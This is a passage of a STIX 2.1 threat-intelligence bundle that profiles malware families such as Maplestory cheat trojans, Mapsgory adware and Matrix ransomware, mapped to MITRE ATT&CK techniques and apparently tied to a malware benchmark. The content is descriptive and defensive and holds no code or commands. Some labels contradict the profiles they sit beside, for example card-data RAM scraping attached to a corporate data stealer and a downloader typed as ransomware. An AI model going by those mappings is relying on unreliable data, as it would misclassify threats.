      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manuscrypt exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Remote execution capabilities))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a7c6ee8-84ad-5cdd-8dbd-df8b69931143",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76389ab5-d81d-52fc-b7d1-491f0dbd979d",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manuscrypt exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Extensive use of custom packers to evade AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b323e19a-36a6-5130-b0d1-5e5a8963142c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76389ab5-d81d-52fc-b7d1-491f0dbd979d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manuscrypt exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 communication using custom encrypted payloads over HTTP/HTTPS))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5dfb847e-e6c3-5eed-99b3-ad5e6eb5e238",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Maplestory",
      "description": "<h3>Executive Summary</h3>\nIn a cybersecurity context, detections named \"Maplestory\" do not refer to the legitimate video game itself, but rather to a classification of Trojans and HackTools disguised as \"cheats,\" \"trainers,\" \"aimbots,\" or \"meso generators\" for the popular MMORPG MapleStory. Threat actors heavily target the gaming demographic, bundling severe malware\u2014most commonly password stealers and remote access trojans (RATs)\u2014into these illicit cheating utilities.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe infection vector relies entirely on social engineering and user deception. Gamers actively seek out these files on grey-market forums, Discord servers, or YouTube video descriptions and willingly execute them, often bypassing their own antivirus warnings under the false belief that game cheats trigger \"false positives.\"\n\nUpon execution, the \"cheat\" may actually modify the game's memory (to maintain the illusion), but its primary function is malicious:\n<ul>\n<li><strong>Credential Harvesting:</strong> The most common payload is a specialized Info-Stealer. It targets the user's game login credentials, but also sweeps the system for stored browser passwords, cryptocurrency wallets, and Discord session tokens.</li>\n<li><strong>System Subversion (Rootkits):</strong> Because game cheats inherently require deep system access to read/write to the memory of other processes, the malware often installs a rootkit or malicious driver, giving the attacker Ring 0 (kernel-level) control over the machine.</li>\n<li><strong>Botnet Conscription:</strong> Many game-related trojans silently install cryptocurrency miners (Monero) or conscript the powerful gaming PC into a DDoS botnet.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of \"cheat\" software poses a severe risk to the endpoint. It bypasses the \"human firewall,\" granting the malware deep system privileges. While the initial target may be a gaming account, the ultimate compromise often includes the theft of sensitive personal data, banking credentials, and complete system subversion.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Password Reset:</strong> All passwords stored on the infected machine (game accounts, email, banking, social media) must be considered compromised and reset immediately from a *different*, clean device.</li>\n<li><strong>MFA Enforcement:</strong> Ensure Multi-Factor Authentication (MFA) is enabled on all critical accounts to mitigate the use of stolen session tokens or passwords.</li>\n<li><strong>Endpoint Eradication:</strong> Due to the likelihood of rootkit installation and the user manually bypassing UAC/AV controls, a simple antivirus scan is insufficient. The recommended remediation is a complete bare-metal wipe and re-installation of the operating system.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.MaplestoryCheat",
        "HackTool.Maplestory",
        "PWS.Maplestory"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Maplestory",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/maplestory"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a11deb3-4a27-5adf-8b7d-d7e910b2c440",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfb847e-e6c3-5eed-99b3-ad5e6eb5e238",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maplestory exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d96c7c3-2843-5791-889e-41a139a220d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfb847e-e6c3-5eed-99b3-ad5e6eb5e238",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maplestory exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8e649aa-df0c-5d49-b219-afdc2500e437",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfb847e-e6c3-5eed-99b3-ad5e6eb5e238",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maplestory exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df345673-585b-5df2-9bf3-0abab282f6bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5dfb847e-e6c3-5eed-99b3-ad5e6eb5e238",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maplestory exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mapsgory",
      "description": "Adware:Win32/Mapsgory is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Mapsgory?</b><br>To the average user, Mapsgory is highly visible and deeply frustrating. The browser homepage is forcibly changed (often to map-related or generic search portals), default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Mapsgory operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Mapsgory is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Mapsgory wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mapsgory",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mapsgory"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64a9e662-6be2-502e-ba3d-72122b4b6479",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapsgory exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ed35e65-a2f5-577a-946e-7f5c99c7859f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapsgory exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15cd3bbf-33a9-5d08-81ab-f8278a5cc712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapsgory exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac9864a2-be5c-5d74-b4c2-82dbd3b663d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapsgory exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad6752a9-8b8d-5f3f-be62-3e006a8269df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--222a186e-df72-5c90-a2d1-c10e2aed66e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapsgory exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--38f99a85-f653-5415-b0b2-fd7c5da6926e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mapstosteal",
      "description": "<h3>Executive Summary</h3>\nMapsToSteal is a highly specialized Trojan and infostealer explicitly designed for rapid data exfiltration. Unlike broad-spectrum stealers that grab passwords and cookies, MapsToSteal targets specific, highly valuable internal corporate data structures, such as proprietary databases, network topology maps, source code repositories, or specific intellectual property files identified by the threat actors during a targeted espionage campaign.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMapsToSteal is typically deployed manually by Advanced Persistent Threat (APT) actors or highly skilled criminal syndicates *after* they have already achieved deep penetration into a corporate network, often utilizing compromised credentials or lateral movement tools like Cobalt Strike.\n\nOnce deployed, it focuses entirely on precision exfiltration:\n<ul>\n<li><strong>Targeted Harvesting:</strong> The malware is often custom-configured with specific file paths, database connection strings, or regular expressions to locate high-value assets (e.g., searching for `.sln` files, `web.config` files containing credentials, or CAD diagrams).</li>\n<li><strong>Data Staging and Compression:</strong> To avoid triggering network Data Loss Prevention (DLP) alerts with massive, sudden transfers, the stealer quietly aggregates the stolen data into hidden staging directories and heavily compresses/encrypts it (often using custom algorithms or password-protected archives like 7zip or RAR).</li>\n<li><strong>Covert Exfiltration:</strong> The staged data is then slowly exfiltrated out of the network. MapsToSteal often abuses legitimate cloud services (e.g., Dropbox, Mega, Google Drive APIs) or uses standard, encrypted protocols (HTTPS/TLS) to blend the exfiltration traffic with normal corporate web usage.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of MapsToSteal is a catastrophic incident indicating that the final stage of a targeted data breach is actively occurring. The organization is facing an imminent loss of its most sensitive intellectual property or strategic data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Halt Exfiltration Immediately (Network Segmentation):</strong> The absolute highest priority is to stop the data loss. Instantly sever the internet connection of the infected host and any staging servers identified. Implement strict egress filtering on the corporate firewall to block connections to known cloud storage providers or unauthorized IP addresses.</li>\n<li><strong>Forensic Analysis of Staging Directories:</strong> Locate the hidden staging directories used by the malware to determine exactly what data was targeted and packaged for exfiltration. This is critical for regulatory breach notification and damage assessment.</li>\n<li><strong>Enterprise-Wide Eradication:</strong> The presence of a specialized exfiltration tool means the attacker has deep access. A coordinated, enterprise-wide incident response effort is required to identify all compromised accounts, establish a new security perimeter, and completely rebuild all affected systems from bare metal.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.MapsToSteal",
        "Spyware.DataExfil",
        "Infostealer.Targeted"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mapstosteal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mapstosteal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79c71ee4-b062-549b-b3b6-8fc058b8bc70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38f99a85-f653-5415-b0b2-fd7c5da6926e",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapstosteal exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--106a622f-eac3-5d64-8e6d-548cf55024fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1074: Data Staged",
      "description": "MITRE ATT&CK Technique T1074 (Data Staged) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1074",
          "url": "https://attack.mitre.org/techniques/T1074/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19006029-5485-5846-9266-a5c8b716a5e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38f99a85-f653-5415-b0b2-fd7c5da6926e",
      "target_ref": "attack-pattern--106a622f-eac3-5d64-8e6d-548cf55024fe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapstosteal exhibits technique T1074 (Data Staged)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--787f6f22-070d-5823-9e5a-1d59af5d0b7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38f99a85-f653-5415-b0b2-fd7c5da6926e",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapstosteal exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3154ecde-5a0f-514a-acee-44df97e6426c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1567: Exfiltration Over Web Service",
      "description": "MITRE ATT&CK Technique T1567 (Exfiltration Over Web Service) under tactic Exfiltration.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1567",
          "url": "https://attack.mitre.org/techniques/T1567/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65e1000e-9a53-56d4-b81a-0b258030d21c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38f99a85-f653-5415-b0b2-fd7c5da6926e",
      "target_ref": "attack-pattern--3154ecde-5a0f-514a-acee-44df97e6426c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mapstosteal exhibits technique T1567 (Exfiltration Over Web Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a702dbbd-5111-5b13-bb51-3cca32245af5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Marketscore",
      "description": "Adware:Win32/Marketscore (also known historically as NetSetter) is a highly intrusive piece of adware/spyware that operates by fundamentally altering the victim's network configuration. Ostensibly marketed as 'market research' software that users 'agreed' to install in exchange for free software, Marketscore intercepts all web traffic to monitor browsing habits and inject targeted advertising, acting as a local Man-in-the-Middle (MitM) (`T1112`).<br><br><b>Understanding Marketscore (Historical Spyware)</b><br>To an end-user, Marketscore often caused significant network instability, slow browsing speeds, and a deluge of pop-up ads. For a security professional, it represents a severe privacy violation and a compromise of the network stack. Marketscore is infamous for its aggressive tactics and the difficulty of its removal, establishing the template for many modern, aggressive adware families.<br><br><b>Execution and Hijacking Mechanics</b><br>Marketscore was typically distributed via software bundles (e.g., attached to screensavers or early P2P clients). Upon installation, it required administrative privileges to deeply embed itself into the Windows networking stack. It commonly modified Winsock LSPs (Layered Service Providers) or installed a local proxy server, routing all HTTP/HTTPS traffic through its own engine (`T1112`). It modified the Windows Registry to ensure it started before the browser (`T1547.001`). Because it intercepted traffic at the network layer, it could monitor encrypted communications (by presenting its own SSL certificates) and inject ads into any page, regardless of the browser used.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total loss of web browsing privacy and severe degradation of system performance. Host-based IoCs include the presence of Marketscore/NetSetter executables in `%ProgramFiles%`, the modification of `HKLM\\System\\CurrentControlSet\\Services\\WinSock2\\Parameters\\Protocol_Catalog9`, and the presence of unexpected local proxy settings in the Internet Options control panel. Network IoCs involve all web traffic being routed through unexpected local ports or directly to Marketscore's data collection servers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Marketscore",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/marketscore"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da900b7b-a36b-5953-a904-dc6b63089e1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a702dbbd-5111-5b13-bb51-3cca32245af5",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marketscore exhibits technique T1112 (Modify Registry (Modifying Winsock LSPs or proxy settings to intercept traffic))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a54c56c1-d082-52ea-b349-eb58a9acab18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a702dbbd-5111-5b13-bb51-3cca32245af5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marketscore exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Ensuring the proxy starts at boot))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e12b60ae-6c1a-5120-aa1d-933682dee76a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a702dbbd-5111-5b13-bb51-3cca32245af5",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marketscore exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Marocan",
      "description": "Trojan:Win32/Marocan is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Marocan</b><br>To an end-user, a Marocan infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Marocan is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Marocan is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Marocan frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Marocan reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Marocan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/marocan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e36ebc2b-23b1-5be5-9ec1-4c1feb8cbccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marocan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c73fa84-df24-5a74-a497-44e4164dc2b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marocan exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3a73599-b388-597c-a5ca-bd4cc26d0835",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marocan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--734de4af-5790-5b77-be8d-2026995312f7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marocan exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbda7793-facb-5986-9211-a557453e5c3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1943001b-93cb-59c0-a225-f44048d78d6d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Marocan exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Matrix",
      "description": "Matrix (cataloged under signatures Ransom:Win32/Matrix, Trojan-Ransom.Win32.Matrix, and Win32/Matrix) is a sophisticated targeted ransomware family active since 2016. Matrix operators primarily compromise corporate environments by brute-forcing weakly secured Remote Desktop Protocol (RDP) services or utilizing stolen administrative credentials. Once inside the perimeter, attackers manually perform network discovery, disable endpoint protection tools, and deploy Matrix across workstations and domain controllers. Matrix uses a hybrid cryptographic scheme combining AES-128 in CBC mode with an embedded RSA-1024/2048 public key to encrypt critical business files, appending dynamic extensions (such as .MTX, .pyong, or .PRCP) to affected data. Matrix rigorously executes batch scripts to wipe Volume Shadow Copies, clear Windows Event Logs (wevtutil), and disable system repair mechanisms. (Observed samples in benchmark: 22)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Matrix",
        "Trojan-Ransom.Win32.Matrix",
        "Win32/Matrix",
        "Ransom.Matrix",
        "Ransom:Win32/Matrix.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Matrix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/matrix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c0d6e94-df1b-5ce5-860d-3cff58584f4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matrix exhibits technique T1133 (External Remote Services)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e8ce56f-8620-5ad8-9055-887035b6d42d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29806a77-80eb-5aa9-b32a-4f290b850b24",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Matrix exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
